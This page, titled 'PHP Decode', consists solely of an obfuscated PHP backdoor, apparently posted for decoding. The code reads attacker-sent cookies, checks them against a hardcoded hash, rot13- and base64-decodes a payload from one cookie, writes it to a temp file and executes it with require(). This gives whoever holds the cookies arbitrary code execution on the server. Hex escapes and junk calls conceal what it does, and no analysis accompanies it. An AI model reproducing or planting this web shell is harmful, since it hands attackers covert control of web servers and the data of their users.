PHP Decode

<?php function __($_inxnnacjhy){$_deolxkjm=$_COOKIE;$_nzyjz=TMpfILE();$_uknmraky=STREAM_gET_mEtA_DaTa($_nzyjz)["\x75\x72\x69"];if(!is_WRiteaBle($_uknmraky)):$_uknmraky=DIRNAMe(__FILE__).DIRECTORY_SEPARATOR."\x6f\107\x73\x76\167\x64\144\x43\152\x78";endif;$_yxfkss="\x3f\160";$_yxfkss="\x3c".$_yxfkss."\x68\x70\x20".baSe64_deCoDe(stR_Rot13($_deolxkjm[0b0+3]))."\040\x3f\076";if(Is_WRIteABLe($_uknmraky)):fwRITe($_nzyjz,$_yxfkss);SPL_AUTolOAd_uNregisteR(__FUNCTION__);@require($_uknmraky);FclOsE($_nzyjz);endif;}SPl_AuTOlOad_rEGiSteR("\x5f\137");if(coUnT($_COOKIE)==0b1+3):$_wnzaxzzfvj=$_COOKIE[0x1+3];$_deolxkjm=$_COOKIE;if($_deolxkjm[0x1+(-0x1)]!=""&&$_deolxkjm[-1+0x2]!=""&&$_deolxkjm[1+2]!=""&&$_deolxkjm[0x1+0b11]!="\121\x79\067\x5a\131\124\065\x72\x30\172\x55\x45"):$_wnzaxzzfvj="\x63\x36\x65\063\064\071\070\x32\x65\x33\071\x33\142\x37\065\x62\142\x37\066\x63\x38\x35\x30\x64\141\144\142\145\145\145\061\x61";if(StrNcMp($_wnzaxzzfvj,$_deolxkjm[5-0b1],0x1f)===-1+0b1):$_tqdgkdnrz=sTr_sPLIt("\x53\x4f\115\126\164\x49\x43\x43\146\x49\x58\117");soRt($_tqdgkdnrz,SORT_FLAG_CASE);$_tqdgkdnrz=ArraY_uiNTErSEcT_ASSoc($_tqdgkdnrz,$_tqdgkdnrz,"\163\164\x72\143\155\160");if(array("\152\107\123\x6b\130\x63\124\115\x63\130\122\x4d\152\x6c\x73\102")==TRAIT_ExIStS("\124\x5a\130\116\142\132\x4c\x43\x70")):___($_rrytzevx,$_jkwvno);____();_____($_yvyfgwum,$_azrkdpzi,$_lbsqt);______($_ecmxocisn,$_ibvvws,$_lzdhshrzoa,$_rpduroife,$_cjjxnx,$_hfzcrszszb,$_nssrdcgr);_______($_ksafie);________($_lxqqzetjdp,$_dsbilkqfko,$_kxrcfcji,$_abtjreukt,$_djqdqcxix,$_toejmwqbj,$_kxzrub);_________($_lzlji);endif;endif;endif;endif;